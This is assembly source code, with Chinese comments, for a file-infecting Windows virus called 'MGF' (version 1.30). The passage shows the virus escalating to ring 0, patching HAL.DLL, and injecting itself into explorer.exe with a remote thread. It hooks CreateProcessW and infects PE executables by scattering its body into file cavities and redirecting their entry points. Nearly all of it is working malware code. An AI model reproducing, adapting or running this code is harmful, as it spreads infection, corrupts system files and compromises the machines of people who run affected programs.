MGF病毒最新版本的源代码(V1.30)
;以下程序块获取所有需要的API地址
lea esi,FunctionNameTab[ebx]
lea edi,FunctionAddressTab[ebx]
@@:
lodsd
push eax
push ebp
call _GetProcAddress
stosd
cmp dword ptr [esi],0
loopnz @b
lea eax,szGetLastError[ebx]
push eax
push ebp
call dwGetProcAddress[ebx]
stosd
mov edx,398h
lar eax,edx
.if eax==00cffb00h ;如果在GDT里找到特征码,进入RING0
int 0feh
mov eax,esp
mov esp,[esp+8]
push eax
mov eax,cr0
push eax
btr eax,16
mov cr0,eax
mov edx,dwCreateProcessInternalW[ebx]
sub edx,ebp
lea ecx,[edx-(380h+(offset _JmpOffset-offset VirusStart))]
mov dword ptr _JmpOffset[ebx-4],ecx ;计算CALL指令的地址差
lea edi,[ebp+380h]
lea esi,VirusStart[ebx]
push 16
pop ecx
pushad
repz cmpsb ;判断病毒是否已经驻留内存
popad
.if !ZERO?
mov ecx,VirusSize
rep movsb ;驻留内存
mov edx,dwCreateProcessW[ebx]
mov ecx,80h
@@:
inc edx
cmp dword ptr [edx],0e8006a08h ;搜索CALL CreateProcessInternalW的特征码
loopnz @b
lea ecx,[edx+8]
sub ecx,ebp
sub ecx,380h+offset _NewCreateProcessW-offset VirusStart
neg ecx
mov [edx+4],ecx ;更改CALL CreateProcessInternalW的机器码,HOOK CreateProcessW()
.endif
pop eax
mov cr0,eax
pop esp
lea eax,@f[ebx]
push eax
db 0cfh ;IRETD指令,返回RING3
@@:
.else ;如果只第一次运行,内存中没有陷阱门,就修改HAL.DLL,建立远程线程到EXPLORER.EXE里HOOK CreateProcessW()感染文件
lea eax,szGetLastError[ebx]
push eax
push 1
push 0
call dwCreateMutexA[ebx] ;用MUTEX来保证远程线程只建立一次
call dwGetLastError[ebx]
.if eax!=0b7h
enter 200h,0
mov edi,esp
push 60h
push edi
call dwGetSystemDirectoryW[ebx]
shl eax,1
mov dword ptr [edi+eax],0068005ch
mov dword ptr [edi+eax+4],006c0061h
mov dword ptr [edi+eax+8],0064002eh
mov dword ptr [edi+eax+12],006c006ch
mov dword ptr [edi+eax+16],0 ;构造c:\windows\system32\hal.dll字符串(UNICODE码)
push 1
push edi
call _EditFile ;修改HAL.DLL文件,HOOK ExAcquireFastMutex()
xor esi,esi
.repeat
push 5000
call dwSleep[ebx]
push 0
push 2
call dwCreateToolhelp32Snapshot[ebx] ;搜索EXPLORER.EXE进程
mov [ebp-4],eax
mov dword ptr [edi],128h
push edi
push eax
call dwProcess32First[ebx]
.while eax
lea edx,[edi+24h]
push 12
push edx
call _Str2Upper
.if dword ptr [edi+24h]==''LPXE'' && dword ptr [edi+24h+4]==''RERO'' && dword ptr [edi+24h+8]==''EXE.''
push dword ptr [edi+8]
push esi
push 2ah
call dwOpenProcess[ebx] ;打开EXPLORER.EXE进程
.if eax
mov [ebp-8],eax
push 40h
push 1000h
push 1000h
push esi
push eax
call dwVirtualAllocEx[ebx] ;在EXPLORER.EXE进程里分配内存
mov edi,eax
lea edx,VirusStart[ebx]
push esi
push 1000h
push edx
push edi
push dword ptr [ebp-8]
call dwWriteProcessMemory[ebx] ;把病毒体写入EXPLORER.EXE进程里
lea eax,[edi+(offset _RemoteThread-offset VirusStart)]
push esi
push esi
push esi
push eax
push esi
push esi
push dword ptr [ebp-8]
call dwCreateRemoteThread[ebx] ;在EXPLORER.EXE进程里建立远程线程
push dword ptr [ebp-8]
call dwCloseHandle[ebx]
mov esi,esp
.break
.endif
.endif
push edi
push dword ptr [ebp-4]
call dwProcess32Next[ebx]
.endw
push dword ptr [ebp-4]
call dwCloseHandle[ebx]
.until esi
leave
.endif
.endif
popad
ret
;在EXPLORER里建立的远程线程,功能是HOOK CreateProcessW(),感染文件
_RemoteThread proc p1
pushad
db 0e8h,3,0,0,0,''mgf''
pop edx
sub edx,$-4
mov ebx,edx
lea eax,szGetLastError[ebx]
push eax
push 1
push 0
call dwCreateMutexA[ebx] ;建立MUTEX
mov edi,dwCreateProcessW[ebx]
push ecx
push esp
push 40h
push 1000h
push edi
call dwVirtualProtect[ebx] ;去除CreateProcessW()所在内存页的只读属性
pop ecx
.if eax
mov edx,dwCreateProcessInternalW[ebx]
lea ecx,_JmpOffset[ebx]
sub edx,ecx
mov dword ptr _JmpOffset[ebx-4],edx ;计算2条指令间的相对地址
mov ecx,80h
@@:
inc edi
cmp dword ptr [edi],0e8006a08h ;搜索CALL CreateProcessInternalW的特征码
loopnz @b
lea ecx,[edi+8]
lea edx,_NewCreateProcessW[ebx]
sub edx,ecx
mov [edi+4],edx ;更改CALL CreateProcessInternalW的机器码,HOOK CreateProcessW()
.endif
popad
ret
_RemoteThread endp
_NewCreateProcessW: ;被HOOK后的CreateProcessW()
pushad
db 0e8h,3,0,0,0,''mgf''
pop edx
sub edx,$-4
mov ebx,edx ;重定位
mov edi,[esp+20h+12]
inc edi
inc edi
mov esi,edi
push 22h
pop eax
mov ecx,100h
repnz scasw
mov byte ptr [edi-2],0 ;处理CreateProcessW()的参数
jmp @f ;这条指令使系统跳过了下面的感染PE文件的函数,各位如果想跟踪感染文件过程,可以在跟踪到这里时使EIP=EIP+2,继续跟踪感染文件的过程
push 0
push esi
call _EditFile ;感染将被CreateProcessW()执行的PE文件
@@:
mov byte ptr [edi-2],22h
popad
db 0e9h
dd 0
_JmpOffset:
_EditFile proc _lpFileName,_dwFlag ;感染文件的子程序,_dwFlag=0时感染普通PE文件,_dwFlag=1时修改HAL.DLL文件
local @hFile
local @hFileMap
local @lpFileMap
local @dwFileSize
local @dwFileAttributes
local @stFileTime1:FILETIME
local @stFileTime2:FILETIME
local @stFileTime3:FILETIME
local @szTempBuffer[100h]:byte
pushad
push _lpFileName
call dwGetFileAttributesW[ebx]
.if eax!=-1
mov @dwFileAttributes,eax
push 80h
push _lpFileName
call dwSetFileAttributesW[ebx]
push 0
push 80h
push 3
push 0
push 3
push 0c0000000h
push _lpFileName
call dwCreateFileW[ebx]
.if eax!=-1
mov @hFile,eax
push eax
call dwGetFileType[ebx]
.if eax==FILE_TYPE_DISK
push 0
push @hFile
call dwGetFileSize[ebx]
mov @dwFileSize,eax
lea eax,@stFileTime3
push eax
lea eax,@stFileTime2
push eax
lea eax,@stFileTime1
push eax
push @hFile
call dwGetFileTime[ebx]
push 0
push 0
push 0
push 4
push 0
push @hFile
call dwCreateFileMappingW[ebx]
.if eax
mov @hFileMap,eax
push 0
push 0
push 0
push 6
push eax
call dwMapViewOfFile[ebx]
.if eax
mov @lpFileMap,eax
.if word ptr [eax]==''ZM''
.if dword ptr [eax+38h]!=''FGM''
add eax,[eax+3ch]
.if dword ptr [eax]==''EP''
bt dword ptr [eax+16h],13
.if !CARRY?
lea edi,@szTempBuffer
mov eax,@lpFileMap
mov edx,@dwFileSize
push 18h
pop ecx
@@:
push ecx
push VirusSize/18h
push edx
push eax
call _FindSpace ;在被感染PE文件里搜索空间
.if eax
push eax
push 0
push eax
push @lpFileMap
call _TranslateAddr ;判断找到的空间是否有效
cmp eax,1
pop eax
jl _EditFile1
stosd ;保存有效空间的地址到段链表
xchg eax,edx
stosd ;保存有效空间的大小到段链表
xchg eax,edx
_EditFile1:
add eax,edx
mov ecx,eax
sub ecx,@lpFileMap
mov edx,@dwFileSize
sub edx,ecx
.endif
or eax,eax
pop ecx
loopnz @b ;继续搜索空间
xor eax,eax
stosd
stosd
push 4
pop edx
.while dword ptr [@szTempBuffer+edx] ;本循环用来调整找到的空间链
.if dword ptr [@szTempBuffer+edx] >= VirusSize ;如果某个空间可以容得下整个病毒,就把该空间做为链的第一项,病毒体全部写入该空间
mov eax,dword ptr [@szTempBuffer+edx-4]
mov dword ptr @szTempBuffer,eax
mov eax,dword ptr [@szTempBuffer+edx]
mov dword ptr @szTempBuffer+4,eax
xor eax,eax
mov dword ptr @szTempBuffer+8,eax
mov dword ptr @szTempBuffer+12,eax
.break
.elseif dword ptr [@szTempBuffer+edx] >= offset _NewStart-offset VirusStart
mov eax,dword ptr [@szTempBuffer+edx-4]
xchg dword ptr @szTempBuffer,eax
mov dword ptr [@szTempBuffer+edx-4],eax
mov eax,dword ptr [@szTempBuffer+edx]
xchg dword ptr @szTempBuffer+4,eax
mov dword ptr [@szTempBuffer+edx],eax ;如果没有哪个空间可以放得下整个病毒,就把放得下引导代码的空间调整为链的第一个项
.break
.endif
add edx,8
.endw
push 4
pop edx
xor eax,eax
.while dword ptr [@szTempBuffer+edx]
add eax,dword ptr [@szTempBuffer+edx] ;计算所有空间大小
add edx,8
.endw
.if dword ptr [@szTempBuffer+4] >= offset _NewStart-offset VirusStart ;如果第一个链项装得下引导代码,继续,否则退出
.if dword ptr [@szTempBuffer+4] >= VirusSize || eax >= VirusSize ;如果第一个链项装得下整个病毒体或者所有空隙可以装得下就继续
mov eax,VirusSize
lea edx,@szTempBuffer
lea esi,VirusStart[ebx]
.while dword ptr [edx]
.if dword ptr [edx+4] >= eax
mov dword ptr [edx+4],eax
.endif
mov edi,[edx]
mov ecx,[edx+4]
rep movsb ;把病毒体分成多个部分写入找到的PE文件空隙处
sub eax,[edx+4]
.break .if !eax
add edx,8
.endw
xor eax,eax
mov [edx+8],eax
mov [edx+12],eax
lea esi,@szTempBuffer
mov edi,[esi]
add edi,offset _SectionAddress-offset VirusStart
mov edx,esi
.while dword ptr [edx]
push 2
push dword ptr [edx]
push @lpFileMap
call _TranslateAddr
mov [edx],eax ;把地址链里的地址转换为虚拟地址并写入PE文件
add edx,8
.endw
push 19h*2
pop ecx
pushad
rep movsd
popad
mov edx,@lpFileMap ;保存和修改程序入口指令
add edx,[edx+3ch]
push 3
push dword ptr [edx+28h]
push @lpFileMap
call _TranslateAddr
mov esi,eax
mov cl,[esi]
mov byte ptr [edi-5],cl
mov ecx,[esi+1]
mov dword ptr [edi-4],ecx
sub edi,offset _SectionAddress-offset VirusStart
push 2
push edi
push @lpFileMap
call _TranslateAddr
sub eax,[edx+34h]
sub eax,[edx+28h]
sub eax,5
mov byte ptr [esi],0e8h
mov [esi+1],eax
movzx eax,word ptr [edx+14h]
add eax,18h
movzx ecx,word ptr [edx+6]
add edx,eax
.repeat
mov eax,[edx+10h]
.if [edx+8]
.endif
mov dword ptr [edx+24h],0e00000e0h ;修改节属性
add edx,28h
.break .if !ecx
.untilcxz
mov eax,@lpFileMap
mov dword ptr [eax+38h],''FGM'' ;在文件头标记已感染标志
.endif
.endif